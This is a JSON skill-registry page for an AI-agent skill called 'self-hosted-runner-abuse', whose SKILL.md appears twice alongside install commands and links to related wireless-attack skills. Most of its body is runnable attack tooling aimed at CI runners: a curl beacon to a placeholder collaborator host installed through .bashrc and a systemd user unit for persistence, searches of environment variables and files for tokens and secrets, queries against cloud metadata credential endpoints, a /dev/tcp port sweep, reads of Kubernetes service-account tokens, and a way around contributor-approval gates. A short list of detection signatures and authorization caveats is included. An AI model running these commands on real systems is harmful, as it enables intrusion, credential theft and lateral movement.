[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFG6TRVHJSKMQBCGZ1DM0H":3,"skill-same:01M7DFG6TRVHJSKMQBCGZ1DM0H":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFG6TRVHJSKMQBCGZ1DM0H","self-hosted-runner-abuse",null,"Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret\u002Ftoken theft from runner env, lateral movement from runner into internal network and cloud metadata services.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fself-hosted-runner-abuse\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: self-hosted-runner-abuse\ndescription: \"Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret\u002Ftoken theft from runner env, lateral movement from runner into internal network and cloud metadata services.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"self-hosted runner github actions runner gitlab runner persistence lateral movement imds metadata internal network ephemeral runner label\"\n  tags: ci-cd, self-hosted-runner, persistence, lateral-movement\n  mitre_attack: T1078.004, T1133, T1554, T1021\n---\n\n# Self-Hosted Runner Abuse\n\nSelf-hosted runners are attacker dreams: long-lived machines inside the target's network, with the build user's filesystem, often persistent between jobs, frequently reachable to internal services and cloud metadata. **Default GitHub policy on public repos is to NOT run workflows from first-time contributors without approval — but the gate is per-repo and frequently relaxed.**\n\n## Recon — does the target use self-hosted?\n\n```bash\n# 1. Workflow labels\ngrep -rnE 'runs-on:\\s*(\\[\\s*self-hosted|self-hosted)' \u003CREPO>\u002F.github\u002Fworkflows\u002F\n\n# 2. Custom labels signal self-hosted runners (\"linux-large\", \"internal\", \"gpu-a100\")\ngrep -rnE 'runs-on:\\s*\\[?[a-z0-9_-]+' \u003CREPO>\u002F.github\u002Fworkflows\u002F \\\n  | grep -vE 'ubuntu-(latest|20|22|24)|windows-(latest|20)|macos-(latest|13|14)'\n\n# 3. Public run history reveals runner hostnames\ngh run list --repo \u003COWNER>\u002F\u003CREPO> --limit 20 --json databaseId,name | jq -r '.[].databaseId' \\\n  | while read id; do gh run view \"$id\" --repo \u003COWNER>\u002F\u003CREPO> --log 2>\u002Fdev\u002Fnull \\\n      | grep -iE 'Runner name|Runner group|Machine name'; done | sort -u\n\n# 4. Org-level runner registrations (auth required, but org members often have read)\ngh api \"orgs\u002F\u003COWNER>\u002Factions\u002Frunners\" --jq '.runners[] | {name,os,status,labels:[.labels[].name]}'\n```\n\n## Default vs ephemeral\n\n| Mode | Behavior | Attacker upside |\n|---|---|---|\n| **Default (non-ephemeral)** | Same VM\u002Fcontainer picks up the next job. `\u002Fhome\u002Frunner\u002Fwork\u002F_temp\u002F`, `~\u002F.cache`, env from prior jobs may persist. | Persist files; reuse leaked creds; race the next job |\n| **Ephemeral** (`--ephemeral`) | Runner exits after one job; VM is destroyed | Per-job isolation; persistence requires escape to host |\n| **`actions\u002Frunner-images` self-hosted on K8s with ARC** | Pod per job, but cluster identity (`ServiceAccount`) is shared | Pivot to cluster API via projected token |\n\n```bash\n# Inside a job — fingerprint the runner\nuname -a; id; whoami\nmount | grep -E '\u002Fhome|\u002Frunner|overlay'\nls -la \u002Factions-runner \u002Fhome\u002Frunner \u002Fopt\u002Factions-runner 2>\u002Fdev\u002Fnull\nenv | grep -E 'RUNNER_|GITHUB_' | head\n# Ephemeral runners typically have RUNNER_TEMP wiped; non-ephemeral have leftover dirs\nls -la \"$RUNNER_TEMP\u002F..\" 2>\u002Fdev\u002Fnull\n```\n\n## Fork-PR execution on self-hosted\n\n```yaml\n# DANGEROUS — fork PRs run on the org's self-hosted fleet\non: pull_request\njobs:\n  test:\n    runs-on: [self-hosted, linux, internal]\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - run: make test\n```\n\nIf the repo did not enable \"Require approval for all outside collaborators\", a fork PR with a poisoned `Makefile` (see `poisoned-pipeline-execution\u002FSKILL.md`) gives RCE on the internal runner. **First-time-contributor approval is also bypassable**: contribute a trivial PR first, get it merged, then weaponize subsequent PRs as a returning contributor.\n\n## Persistence on non-ephemeral runners\n\n```bash\n# In the malicious job step\nRUNNER_BIN=\"$(dirname \"$(which Runner.Listener 2>\u002Fdev\u002Fnull || echo \u002Factions-runner\u002Frun.sh)\")\"\necho \"Found runner at: $RUNNER_BIN\"\n\n# 1. Drop a payload in a path the runner sources before next job\nmkdir -p \"$HOME\u002F.config\"\ncat > \"$HOME\u002F.config\u002Frunner-helper.sh\" \u003C\u003C'EOF'\n# Beacon — runs as the runner user on next shell-step entry\nnohup bash -c 'while true; do curl -s \"https:\u002F\u002F\u003CCOLLAB>\u002Fbeacon\u002F$(hostname)\"; sleep 3600; done' &>\u002Fdev\u002Fnull &\nEOF\n\n# 2. Hook into bash via runner user's .bashrc — works for any step using a login shell\ngrep -q runner-helper \"$HOME\u002F.bashrc\" || echo 'source \"$HOME\u002F.config\u002Frunner-helper.sh\"' >> \"$HOME\u002F.bashrc\"\n\n# 3. systemd --user unit (if lingering enabled)\nmkdir -p \"$HOME\u002F.config\u002Fsystemd\u002Fuser\"\ncat > \"$HOME\u002F.config\u002Fsystemd\u002Fuser\u002Fbeacon.service\" \u003C\u003C'EOF'\n[Unit] Description=research beacon\n[Service] ExecStart=\u002Fusr\u002Fbin\u002Fcurl -s https:\u002F\u002F\u003CCOLLAB>\u002Fsvc\u002F%H\nRestart=always\n[Install] WantedBy=default.target\nEOF\nsystemctl --user daemon-reload && systemctl --user enable --now beacon.service 2>\u002Fdev\u002Fnull || true\n```\n\n**Stop**. In an authorized engagement, set the beacon TTL to one hit and document removal steps. Persistence proves the capability; do not actually persist.\n\n## Token \u002F secret theft from runner env\n\n```bash\n# All secrets used in the current job are in env vars or files actions wrote\nenv | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_' | head\nls -la \"$RUNNER_TEMP\" \"$HOME\u002F.docker\" \"$HOME\u002F.aws\" \"$HOME\u002F.kube\" 2>\u002Fdev\u002Fnull\n\n# GITHUB_TOKEN is mounted in env and as `.credential` for git\ncat \"$HOME\u002Fwork\u002F_temp\u002F_github_workflow\u002Fevent.json\" 2>\u002Fdev\u002Fnull | head -20\ngit config --global --get-all credential.helper\n\n# Other jobs' artifacts may still be on disk on non-ephemeral runners\nfind \u002F -name 'event.json' -path '*_github_workflow*' 2>\u002Fdev\u002Fnull\nfind \u002Ftmp \u002Fvar\u002Ftmp \"$RUNNER_TEMP\u002F..\" -type f -newer \u002Fetc\u002Fhostname 2>\u002Fdev\u002Fnull | head -50\n```\n\nCross-reference `cicd-secrets-exfil\u002FSKILL.md` for masking-bypass and OIDC exchange once a token is in hand.\n\n## Lateral movement from the runner\n\n```bash\n# 1. Cloud metadata — runner is almost always on EC2\u002FGCE\u002FAzure VM\ncurl -sH 'Metadata-Token: required' http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F      # AWS IMDSv1 (often allowed even when v2 enforced for users)\nTOKEN=$(curl -sX PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken)\ncurl -sH \"X-aws-ec2-metadata-token: $TOKEN\" http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\ncurl -s -H 'Metadata-Flavor: Google' 'http:\u002F\u002F169.254.169.254\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken'\ncurl -sH 'Metadata: true' 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F'\n\n# 2. Internal network — runner is often on a private VPC subnet with reach to staging\u002Fprod\nip route; cat \u002Fetc\u002Fresolv.conf\n# Quick TCP sweep with bash builtins (no nmap install needed)\nfor ip in 10.0.0.{1..20}; do\n  for p in 22 80 443 5432 6379 8080 9090; do\n    (echo >\u002Fdev\u002Ftcp\u002F$ip\u002F$p) 2>\u002Fdev\u002Fnull && echo \"$ip:$p open\"\n  done\ndone\n\n# 3. Kubernetes ServiceAccount (ARC \u002F self-hosted on K8s)\nls \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002F 2>\u002Fdev\u002Fnull\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken 2>\u002Fdev\u002Fnull | cut -c1-12\n```\n\n## Runner-label targeting\n\nIf the org has a label `gpu-a100` mapped to a specific physical host, crafting a workflow with `runs-on: [self-hosted, gpu-a100]` pins your job to that host. Useful to:\n\n- Target a specific build operator's machine (developer workstation runners are a pattern in some orgs).\n- Land on a runner with weaker egress controls (e.g. `windows-build-old` left from a migration).\n\n```yaml\n# Reachability test — does the org let arbitrary fork-PRs target privileged labels?\non: pull_request\njobs:\n  pin:\n    runs-on: [self-hosted, prod-deploy]\n    steps: [{ run: 'hostname; id; env | grep -i deploy' }]\n```\n\n## Detection signatures\n\n| Signal | Source |\n|---|---|\n| Outbound DNS\u002FHTTP from runner to non-allowlisted host | egress firewall \u002F Suricata |\n| New `~\u002F.bashrc` \u002F systemd user unit on a non-ephemeral runner | host EDR (osquery, Falco) |\n| `runs-on:` self-hosted + `on: pull_request` (not `pull_request_target` w\u002F approval) | zizmor \u002F octoscan |\n| First-time-contributor PR approved + immediate follow-up PR | GitHub Insights \u002F org-level review |\n| IMDS access from a runner's job | VPC flow logs \u002F cloud audit |\n\n## Tools\n\n| Tool | Use |\n|---|---|\n| `gato-x runners` | Enumerates self-hosted runners across an org, identifies PPE targets |\n| `octoscan` | Flags self-hosted + untrusted-trigger combinations |\n| `runner-images` (GitHub) | Compare against the official ephemeral image to spot persistence diffs |\n| `osquery` \u002F `falco` | Defender-side; useful to know what they see |\n\n## Decision gate\n\n1. Self-hosted runner engagements have higher blast radius than hosted — get explicit written authorization for **lateral movement** and **metadata access**, not just CI execution.\n2. Do not exfil cloud creds. `curl -s 169.254.169.254\u002F...\u002Fsecurity-credentials\u002F` and **print first 8 chars only**.\n3. Remove any persistence (`.bashrc` entry, systemd unit, dropped files) before declaring done. Include cleanup commands in the report.\n4. Never pivot to a machine outside the runner's subnet without separate authorization.\n\n## References\n\n- GitHub docs — \"About self-hosted runners\" (limitations + warnings)\n- Praetorian — \"Self-Hosted GitHub Runners Are Backdoors\"\n- Adnan Khan — runner-takeover writeups (Tesla, Microsoft, et al.)\n- `actions-runner-controller` (ARC) — ephemeral runner pattern on K8s\n","# Self-Hosted Runner Abuse\n\nSelf-hosted runners are attacker dreams: long-lived machines inside the target's network, with the build user's filesystem, often persistent between jobs, frequently reachable to internal services and cloud metadata. **Default GitHub policy on public repos is to NOT run workflows from first-time contributors without approval — but the gate is per-repo and frequently relaxed.**\n\n## Recon — does the target use self-hosted?\n\n```bash\n# 1. Workflow labels\ngrep -rnE 'runs-on:\\s*(\\[\\s*self-hosted|self-hosted)' \u003CREPO>\u002F.github\u002Fworkflows\u002F\n\n# 2. Custom labels signal self-hosted runners (\"linux-large\", \"internal\", \"gpu-a100\")\ngrep -rnE 'runs-on:\\s*\\[?[a-z0-9_-]+' \u003CREPO>\u002F.github\u002Fworkflows\u002F \\\n  | grep -vE 'ubuntu-(latest|20|22|24)|windows-(latest|20)|macos-(latest|13|14)'\n\n# 3. Public run history reveals runner hostnames\ngh run list --repo \u003COWNER>\u002F\u003CREPO> --limit 20 --json databaseId,name | jq -r '.[].databaseId' \\\n  | while read id; do gh run view \"$id\" --repo \u003COWNER>\u002F\u003CREPO> --log 2>\u002Fdev\u002Fnull \\\n      | grep -iE 'Runner name|Runner group|Machine name'; done | sort -u\n\n# 4. Org-level runner registrations (auth required, but org members often have read)\ngh api \"orgs\u002F\u003COWNER>\u002Factions\u002Frunners\" --jq '.runners[] | {name,os,status,labels:[.labels[].name]}'\n```\n\n## Default vs ephemeral\n\n| Mode | Behavior | Attacker upside |\n|---|---|---|\n| **Default (non-ephemeral)** | Same VM\u002Fcontainer picks up the next job. `\u002Fhome\u002Frunner\u002Fwork\u002F_temp\u002F`, `~\u002F.cache`, env from prior jobs may persist. | Persist files; reuse leaked creds; race the next job |\n| **Ephemeral** (`--ephemeral`) | Runner exits after one job; VM is destroyed | Per-job isolation; persistence requires escape to host |\n| **`actions\u002Frunner-images` self-hosted on K8s with ARC** | Pod per job, but cluster identity (`ServiceAccount`) is shared | Pivot to cluster API via projected token |\n\n```bash\n# Inside a job — fingerprint the runner\nuname -a; id; whoami\nmount | grep -E '\u002Fhome|\u002Frunner|overlay'\nls -la \u002Factions-runner \u002Fhome\u002Frunner \u002Fopt\u002Factions-runner 2>\u002Fdev\u002Fnull\nenv | grep -E 'RUNNER_|GITHUB_' | head\n# Ephemeral runners typically have RUNNER_TEMP wiped; non-ephemeral have leftover dirs\nls -la \"$RUNNER_TEMP\u002F..\" 2>\u002Fdev\u002Fnull\n```\n\n## Fork-PR execution on self-hosted\n\n```yaml\n# DANGEROUS — fork PRs run on the org's self-hosted fleet\non: pull_request\njobs:\n  test:\n    runs-on: [self-hosted, linux, internal]\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - run: make test\n```\n\nIf the repo did not enable \"Require approval for all outside collaborators\", a fork PR with a poisoned `Makefile` (see `poisoned-pipeline-execution\u002FSKILL.md`) gives RCE on the internal runner. **First-time-contributor approval is also bypassable**: contribute a trivial PR first, get it merged, then weaponize subsequent PRs as a returning contributor.\n\n## Persistence on non-ephemeral runners\n\n```bash\n# In the malicious job step\nRUNNER_BIN=\"$(dirname \"$(which Runner.Listener 2>\u002Fdev\u002Fnull || echo \u002Factions-runner\u002Frun.sh)\")\"\necho \"Found runner at: $RUNNER_BIN\"\n\n# 1. Drop a payload in a path the runner sources before next job\nmkdir -p \"$HOME\u002F.config\"\ncat > \"$HOME\u002F.config\u002Frunner-helper.sh\" \u003C\u003C'EOF'\n# Beacon — runs as the runner user on next shell-step entry\nnohup bash -c 'while true; do curl -s \"https:\u002F\u002F\u003CCOLLAB>\u002Fbeacon\u002F$(hostname)\"; sleep 3600; done' &>\u002Fdev\u002Fnull &\nEOF\n\n# 2. Hook into bash via runner user's .bashrc — works for any step using a login shell\ngrep -q runner-helper \"$HOME\u002F.bashrc\" || echo 'source \"$HOME\u002F.config\u002Frunner-helper.sh\"' >> \"$HOME\u002F.bashrc\"\n\n# 3. systemd --user unit (if lingering enabled)\nmkdir -p \"$HOME\u002F.config\u002Fsystemd\u002Fuser\"\ncat > \"$HOME\u002F.config\u002Fsystemd\u002Fuser\u002Fbeacon.service\" \u003C\u003C'EOF'\n[Unit] Description=research beacon\n[Service] ExecStart=\u002Fusr\u002Fbin\u002Fcurl -s https:\u002F\u002F\u003CCOLLAB>\u002Fsvc\u002F%H\nRestart=always\n[Install] WantedBy=default.target\nEOF\nsystemctl --user daemon-reload && systemctl --user enable --now beacon.service 2>\u002Fdev\u002Fnull || true\n```\n\n**Stop**. In an authorized engagement, set the beacon TTL to one hit and document removal steps. Persistence proves the capability; do not actually persist.\n\n## Token \u002F secret theft from runner env\n\n```bash\n# All secrets used in the current job are in env vars or files actions wrote\nenv | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_' | head\nls -la \"$RUNNER_TEMP\" \"$HOME\u002F.docker\" \"$HOME\u002F.aws\" \"$HOME\u002F.kube\" 2>\u002Fdev\u002Fnull\n\n# GITHUB_TOKEN is mounted in env and as `.credential` for git\ncat \"$HOME\u002Fwork\u002F_temp\u002F_github_workflow\u002Fevent.json\" 2>\u002Fdev\u002Fnull | head -20\ngit config --global --get-all credential.helper\n\n# Other jobs' artifacts may still be on disk on non-ephemeral runners\nfind \u002F -name 'event.json' -path '*_github_workflow*' 2>\u002Fdev\u002Fnull\nfind \u002Ftmp \u002Fvar\u002Ftmp \"$RUNNER_TEMP\u002F..\" -type f -newer \u002Fetc\u002Fhostname 2>\u002Fdev\u002Fnull | head -50\n```\n\nCross-reference `cicd-secrets-exfil\u002FSKILL.md` for masking-bypass and OIDC exchange once a token is in hand.\n\n## Lateral movement from the runner\n\n```bash\n# 1. Cloud metadata — runner is almost always on EC2\u002FGCE\u002FAzure VM\ncurl -sH 'Metadata-Token: required' http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F      # AWS IMDSv1 (often allowed even when v2 enforced for users)\nTOKEN=$(curl -sX PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken)\ncurl -sH \"X-aws-ec2-metadata-token: $TOKEN\" http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\ncurl -s -H 'Metadata-Flavor: Google' 'http:\u002F\u002F169.254.169.254\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken'\ncurl -sH 'Metadata: true' 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F'\n\n# 2. Internal network — runner is often on a private VPC subnet with reach to staging\u002Fprod\nip route; cat \u002Fetc\u002Fresolv.conf\n# Quick TCP sweep with bash builtins (no nmap install needed)\nfor ip in 10.0.0.{1..20}; do\n  for p in 22 80 443 5432 6379 8080 9090; do\n    (echo >\u002Fdev\u002Ftcp\u002F$ip\u002F$p) 2>\u002Fdev\u002Fnull && echo \"$ip:$p open\"\n  done\ndone\n\n# 3. Kubernetes ServiceAccount (ARC \u002F self-hosted on K8s)\nls \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002F 2>\u002Fdev\u002Fnull\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken 2>\u002Fdev\u002Fnull | cut -c1-12\n```\n\n## Runner-label targeting\n\nIf the org has a label `gpu-a100` mapped to a specific physical host, crafting a workflow with `runs-on: [self-hosted, gpu-a100]` pins your job to that host. Useful to:\n\n- Target a specific build operator's machine (developer workstation runners are a pattern in some orgs).\n- Land on a runner with weaker egress controls (e.g. `windows-build-old` left from a migration).\n\n```yaml\n# Reachability test — does the org let arbitrary fork-PRs target privileged labels?\non: pull_request\njobs:\n  pin:\n    runs-on: [self-hosted, prod-deploy]\n    steps: [{ run: 'hostname; id; env | grep -i deploy' }]\n```\n\n## Detection signatures\n\n| Signal | Source |\n|---|---|\n| Outbound DNS\u002FHTTP from runner to non-allowlisted host | egress firewall \u002F Suricata |\n| New `~\u002F.bashrc` \u002F systemd user unit on a non-ephemeral runner | host EDR (osquery, Falco) |\n| `runs-on:` self-hosted + `on: pull_request` (not `pull_request_target` w\u002F approval) | zizmor \u002F octoscan |\n| First-time-contributor PR approved + immediate follow-up PR | GitHub Insights \u002F org-level review |\n| IMDS access from a runner's job | VPC flow logs \u002F cloud audit |\n\n## Tools\n\n| Tool | Use |\n|---|---|\n| `gato-x runners` | Enumerates self-hosted runners across an org, identifies PPE targets |\n| `octoscan` | Flags self-hosted + untrusted-trigger combinations |\n| `runner-images` (GitHub) | Compare against the official ephemeral image to spot persistence diffs |\n| `osquery` \u002F `falco` | Defender-side; useful to know what they see |\n\n## Decision gate\n\n1. Self-hosted runner engagements have higher blast radius than hosted — get explicit written authorization for **lateral movement** and **metadata access**, not just CI execution.\n2. Do not exfil cloud creds. `curl -s 169.254.169.254\u002F...\u002Fsecurity-credentials\u002F` and **print first 8 chars only**.\n3. Remove any persistence (`.bashrc` entry, systemd unit, dropped files) before declaring done. Include cleanup commands in the report.\n4. Never pivot to a machine outside the runner's subnet without separate authorization.\n\n## References\n\n- GitHub docs — \"About self-hosted runners\" (limitations + warnings)\n- Praetorian — \"Self-Hosted GitHub Runners Are Backdoors\"\n- Adnan Khan — runner-takeover writeups (Tesla, Microsoft, et al.)\n- `actions-runner-controller` (ARC) — ephemeral runner pattern on K8s\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"ci-cd, self-hosted-runner, persistence, lateral-movement","execution","self-hosted runner github actions runner gitlab runner persistence lateral movement imds metadata internal network ephemeral runner label","T1078.004, T1133, T1554, T1021","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fself-hosted-runner-abuse","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill self-hosted-runner-abuse",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill self-hosted-runner-abuse",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill self-hosted-runner-abuse","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fcicd\u002Fself-hosted-runner-abuse\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]